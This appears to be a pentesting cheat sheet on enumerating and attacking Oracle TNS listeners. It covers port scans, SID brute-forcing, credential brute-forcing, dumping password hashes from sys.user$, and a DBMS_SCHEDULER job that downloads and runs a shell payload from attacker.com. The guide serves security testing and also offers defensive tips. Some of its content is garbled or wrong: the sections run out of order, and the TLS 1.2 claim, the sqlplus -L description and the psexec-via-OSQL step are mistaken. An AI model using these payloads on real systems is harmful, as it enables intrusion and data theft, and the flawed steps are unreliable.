Skip to content

🟠 Oracle TNS Footprinting

Oracle Database often exposes the TNS Listener on TCP port 1521 (or custom ports). Mis‑configured listeners can leak version information, disclose available services (SID/Service Names), and allow unauthenticated connections. This guide provides practical steps for discovering and enumerating Oracle instances.


1. Service Discovery

  • Port scanning – Default listener port is 1521 (both TCP and UDP). Use a fast scan to locate open ports.
    nmap -p 1521,2483 --open <target>
    
  • Banner grabbing – The Oracle listener returns a version string upon a simple TCP connection.
    nc -v <target> 1521
    
    Expected output (truncated):
    TNSLSNR for Linux: Version 12.2.0.1.0 - Production
    
  • tnsping – Oracle’s utility sends a TNS ping and displays the listener version and service name.
    tnsping <target>
    
  • Nmap NSE scripts – Several scripts target Oracle services:
  • oracle-tns-version – Retrieves listener version.
  • oracle-sid-brute – Enumerates SIDs via brute‑force.
    nmap -p 1521 -sV --script oracle-tns-version <target>
    

3. Default Listener Configuration & tnsnames.ora

Oracle's listener is configured via the listener.ora file, typically located in $ORACLE_HOME/network/admin. Below is a minimal default configuration generated by the database installer:

SID_LIST_LISTENER=
(
  (SID_DESC=
    (GLOBAL_DBNAME = ORCL)
    (ORACLE_HOME = /u01/app/oracle/product/19.0.0/dbhome_1)
    (SID_NAME = ORCL)
  )
)

LISTENER =
(
  (DESCRIPTION=
    (ADDRESS=(PROTOCOL=TCP)(HOST=0.0.0.0)(PORT=1521))
  )
)

Key points:

  • HOST=0.0.0.0 binds to all interfaces (default). Change to a specific IP to restrict exposure.
  • PORT=1521 is the default listener port.
  • GLOBAL_DBNAME maps a service name to a SID.

The client‑side tnsnames.ora file (also in $ORACLE_HOME/network/admin) defines connection descriptors. A typical default entry looks like:

ORCL =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = <host>)(PORT = 1521))
    (CONNECT_DATA = (SERVICE_NAME = ORCL))
  )

Common misconfigurations:

  • Leaving HOST=0.0.0.0 unchanged allows remote enumeration of the listener.
  • Using default service names (ORCL, XE) makes it easier for attackers to guess valid SIDs.
  • Unrestricted tnsnames.ora entries on client machines can leak credentials if the file is accessible.

Defensive tips:

  • Bind the listener to internal IPs only.
  • Change default service names to non‑guessable values.
  • Restrict file permissions on listener.ora and tnsnames.ora (chmod 640, owned by oracle user).
  • Disable the ENABLE_BROKER and LOCAL_LISTENER parameters unless required.

2. Version & Service Enumeration

Tool Description Example
nmap -sV --script=oracle-tns-version Retrieves listener version and supported protocol versions. nmap -p 1521 -sV --script oracle-tns-version 10.10.10.5
tnsping Sends a TNS ping, revealing version and SID/service name. tnsping 10.10.10.5
oracledbclient (python‑oracledb) Connects to Oracle using a DSN; can query v$version. python -c "import oracledb; conn=oracledb.connect(user='scott', password='tiger', dsn='10.10.10.5:1521/ORCL'); cur=conn.cursor(); cur.execute('SELECT * FROM v$version'); print(cur.fetchone())"
sqlplus Oracle’s native command‑line client.
sqlplus -L user/password@<host>:1521/<service> Attempts login and can run SELECT * FROM v$version;.
### Troubleshooting sqlplus library error

If you encounter:

sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory

Run the following commands to add the Oracle Instant Client library path and refresh the linker cache:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"
sudo ldconfig

Then verify the installation:

sqlplus -v

You should see output similar to:

SQL*Plus: Release 19.0.0.0.0 - Production
Version 19.6.0.0.0

Now you can connect:

sqlplus scott/tiger@10.129.204.235/XE

2.1 Direct Oracle Commands (sqlplus / sqlcl)

Common interactive commands using sqlplus (or the newer sqlcl):

# Show server version
sqlplus -L /nolog <<EOF
CONNECT /@<host>:1521/<service>
SELECT * FROM v$version;
EXIT;
EOF

# List available schemas (users)
sqlplus -L user/password@<host>:1521/<service> <<EOF
SELECT username FROM dba_users ORDER BY username;
EXIT;
EOF

# List tables in a specific schema
sqlplus -L user/password@<host>:1521/<service> <<EOF
SELECT table_name FROM all_tables WHERE owner='SCOTT';
EXIT;
EOF

# Describe a table's columns
sqlplus -L user/password@<host>:1521/<service> <<EOF
DESC scott.employees;
EXIT;
EOF

# Dump sample data (first 10 rows)
sqlplus -L user/password@<host>:1521/<service> <<EOF
SELECT * FROM scott.employees FETCH FIRST 10 ROWS ONLY;
EXIT;
EOF

Tip: Use the -S flag with sqlplus to suppress startup messages for scripting.


3. Credential Brute‑Force

  • Hydra – Supports Oracle (SID) authentication.
    hydra -L users.txt -P pass.txt oracle://<target>
    
  • Ncrack – Faster for large wordlists.
    ncrack -p 1521 <target> -U users.txt -P pass.txt
    
  • Metasploitauxiliary/scanner/oracle/oracle_login module for credential checking.
    msfconsole -q -x "use auxiliary/scanner/oracle/oracle_login; set RHOSTS <target>; set USER_FILE users.txt; set PASS_FILE pass.txt; run"
    
  • OraBrute – Specialized Oracle password‑spraying tool (Python).
    orabrute -t <target> -U users.txt -P pass.txt
    

4. Database & Schema Enumeration

Tool Description Example
nmap --script oracle-sid-brute Brute‑forces possible SIDs/service names using a wordlist. nmap -p 1521 --script oracle-sid-brute --script-args userlist=users.txt,passlist=pass.txt <target>
sqlplus After valid login, query dba_users, dba_tables, dba_tab_columns.
oracledbclient (Python) Programmatic enumeration of schemas and objects.
Metasploit auxiliary/scanner/oracle/tns_version Retrieves listener version and available services.

Advanced Enumeration & Exploitation Examples

Below are additional practical commands and explanations that extend the basic enumeration techniques.

1️⃣ Nmap SID brute‑forcing with script arguments

# Brute‑force possible SIDs/service names using a wordlist
nmap -p1521 -sV --open \
  --script oracle-sid-brute \
  --script-args userlist=users.txt,passlist=pass.txt \
  10.129.204.235
oracle-sid-brute tries to authenticate to the listener with each SID from the provided list. Successful attempts reveal valid SIDs and, if credentials are correct, allow further login.

2️⃣ odat.py – Oracle Data Access Tool (Python wrapper)

# Perform a full enumeration of the target Oracle instance
./odat.py all -s 10.129.204.235
odat.py combines several checks (listener version, SID discovery, schema listing) into a single call, saving time when performing a quick reconnaissance.

3️⃣ Sqlplus as SYSDBA (full administrative access)

# Connect as the privileged SYSDBA role (requires OS authentication or proper credentials)
sqlplus scott/tiger@10.129.204.235/XE as sysdba
Once connected, you can run powerful queries that expose internal security‑relevant data:

-- List roles granted to the current user
SELECT * FROM user_role_privs;

-- Dump the internal password hashes (requires SYSDBA)
SELECT name, password FROM sys.user$;

Concept: The SYSDBA role bypasses many security checks and provides full control over the database instance. Use it only on systems you own or with explicit permission.

4️⃣ Quick sqlplus one‑liner for data extraction

# Execute a query and exit in a single line (useful for scripting)
sqlplus -L scott/tiger@10.129.204.235/XE <<EOF
SELECT username, account_status FROM dba_users;
EXIT;
EOF

The -L flag disables login prompts, making the command suitable for automation.



5. Privilege Escalation & Lateral Movement

  1. UTL_INADDR.GET_HOST_ADDRESS – Can be abused to cause DNS rebinding or SSRF when UTL_INADDR is accessible.
    EXEC UTL_INADDR.GET_HOST_ADDRESS('attacker.com');
    
  2. DBMS_SCHEDULER – Create a job that runs OS commands if the CREATE JOB privilege is granted.
    BEGIN
      DBMS_SCHEDULER.CREATE_JOB(
        job_name   => 'evil_job',
        job_type   => 'EXECUTABLE',
        job_action => '/bin/bash -c "wget http://attacker.com/payload.sh -O- | sh"',
        enabled    => TRUE);
    END;
    /
    
  3. DBMS_NETWORK_ACL_ADMIN – Modify network ACLs to allow outbound connections to attacker-controlled servers.
  4. Impacket psexec.py via oracle OSQL – If you have valid credentials, you can pivot using the OSQL utility to execute remote commands.
    odbcinst -j # verify ODBC driver, then use OSQL with a trusted connection.
    

6. Defensive Recommendations (Quick Checklist)

  • Restrict Listener Access – Bind the listener to internal interfaces only; use firewall rules to limit inbound 1521 traffic.
  • Enable SQLNET.ALLOWED_LOGON_VERSION_SERVER – Enforce strong authentication protocols (e.g., TLS 1.2).
  • Disable LISTENER Anonymous Access – Set SECURE mode in listener.ora.
  • Regularly Patch – Apply Oracle Critical Patch Updates (CPU) promptly.
  • Use Strong Password Policies – Enforce password complexity and account lockout.
  • Audit Listener Logs – Monitor for repeated tnsping or malformed packets.
  • Network Segmentation – Separate database tiers from untrusted networks.

7. References & Further Reading


All commands should be executed only against systems you own or have explicit permission to test. Unauthorized probing of Oracle services is illegal and may trigger security alerts.